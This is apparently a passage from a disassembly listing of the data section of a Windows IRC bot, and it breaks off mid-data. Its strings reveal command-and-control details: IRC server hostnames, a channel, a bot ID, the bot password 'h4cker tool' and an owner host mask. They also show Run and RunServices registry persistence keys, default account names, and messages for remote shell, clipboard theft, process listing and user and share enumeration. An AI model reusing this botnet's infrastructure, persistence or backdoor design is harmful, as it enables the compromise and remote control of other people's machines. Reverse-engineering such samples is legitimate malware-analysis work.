aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D835+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D835:loc_40D94Do
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D835:loc_40D946o
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D835:loc_40D93Fo
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D835:loc_40D938o
		align 10h
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D835:loc_40D931o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D835:loc_40D92Ao
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D835:loc_40D923o
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D835:loc_40D91Co
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D835:loc_40D915o
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F774o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aAsn139		db 'asn139',0
		align 10h
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E40o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 10h
byte_42F650	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F674	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F684	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120EFo
					; sub_40EE72+50A2o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C4	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6C8	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aDb2		; "db2"
		align 10h
		dd offset byte_436EDC
		dd offset byte_436EDC
		dd offset aAdministrato_0 ; "ADMINISTRATOR"
		dd offset byte_436EDC
		dd 0
dword_42F794	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aAdministrato_0	db 'ADMINISTRATOR',0    ; DATA XREF: ___:0042F788o
		align 4
aDb2		db 'db2',0              ; DATA XREF: ___:0042F778o
aH4ckerTool	db 'h4cker tool',0      ; DATA XREF: ___:off_42F6C8o
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42F6C4o
dword_42F7C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040E9FBo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
dword_42F7EC	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:0040E929o
dword_42F7F8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EB92+F2o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40ECFA+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40ECFA+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+627Co
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+6264o
		align 4
dword_42F86C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6257o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42F89C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+623Ao
		dd 2BBBB02h
aAbosal7Accepte	db '  ABOSAL7 accepted.',0
dword_42F8C8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+61D9o
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_42F904	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6172o
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6160o
					; sub_40EE72+61C7o
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40EE72+6149o
					; sub_40EE72+61B0o
		align 4
asc_42F98C:				; DATA XREF: sub_40EE72+6119o
		unicode	0, <~>,0
dword_42F990	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+60C9o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42F9C4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+6015o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 10h
dword_42FA00	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+600Ao
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42FA3C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5FB5o
		dd 2BBBB02h, 73252020h,	0
unk_42FA5C	db    2			; DATA XREF: sub_40EE72+5F8Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42FAA8	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40EE72+5F15o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40EE72+5F0Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40EE72+5F08o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_40EE72+5EADo
aSecure		db 'secure',0           ; DATA XREF: sub_40EE72+5E9Co
		align 4
unk_42FAF4	db    2			; DATA XREF: sub_40EE72+5E91o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_42FB3C	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40EE72+5D6Fo
dword_42FB4C	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40EE72+5D6Ao
dword_42FB58	dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+5D57o
dword_42FB64	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_40EE72+5D52o
dword_42FB74	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D1Fo
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B84o
		align 4
dword_42FBB4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5CFDo
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40EE72:loc_414B62o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+5CC8o
		align 4
dword_42FC04	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C76o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 10h
dword_42FC40	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5C62o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_42FC68	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5C3Do
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_42FCB0	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40EE72+5BD2o
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_42FCDC	dd 627573h		; DATA XREF: sub_40EE72+5BACo
dword_42FCE0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B5Do
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_42FD08	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5B42o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FD50	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5AD3o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_42FD78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A36o
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_42FDA0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5A04o
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_42FDC8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+59AFo
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_42FDF0	db    2			; DATA XREF: sub_40EE72+599Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42FE40	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40EE72+592Do
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40EE72+590Do
		align 4
unk_42FE78	db    2			; DATA XREF: sub_40EE72+58B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_42FEAC	db    2			; DATA XREF: sub_40EE72+5893o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_42FEDC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+584Ao
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_42FF04	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4145F9o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_42FF34	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5780o
		dd 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_42FF6C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5764o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_42FFA4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5746o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EE72+5718o
		align 4
unk_42FFE4	db    2			; DATA XREF: sub_40EE72:loc_41457Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 10h
dword_430020	dd 7A026E02h, 201F6D1Fh, 756C6628h, 6E646873h, 1F702E73h
					; DATA XREF: sub_40EE72+56EDo
		dd 29671F6Ch, 0BBBB0220h, 41202002h, 63205052h,	65686361h
		dd 756C6620h, 64656873h
dword_430050	dd 2Eh			; DATA XREF: ___:00427B70o
dword_430054	dd 7A026E02h, 201F6D1Fh	; DATA XREF: sub_40EE72:loc_41454Fo
unk_43005C	db  28h	; (		; DATA XREF: ___:off_427A0Co
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_430090	db    2			; DATA XREF: sub_40EE72:loc_414548o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4300CC	db    2			; DATA XREF: sub_40EE72+56CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
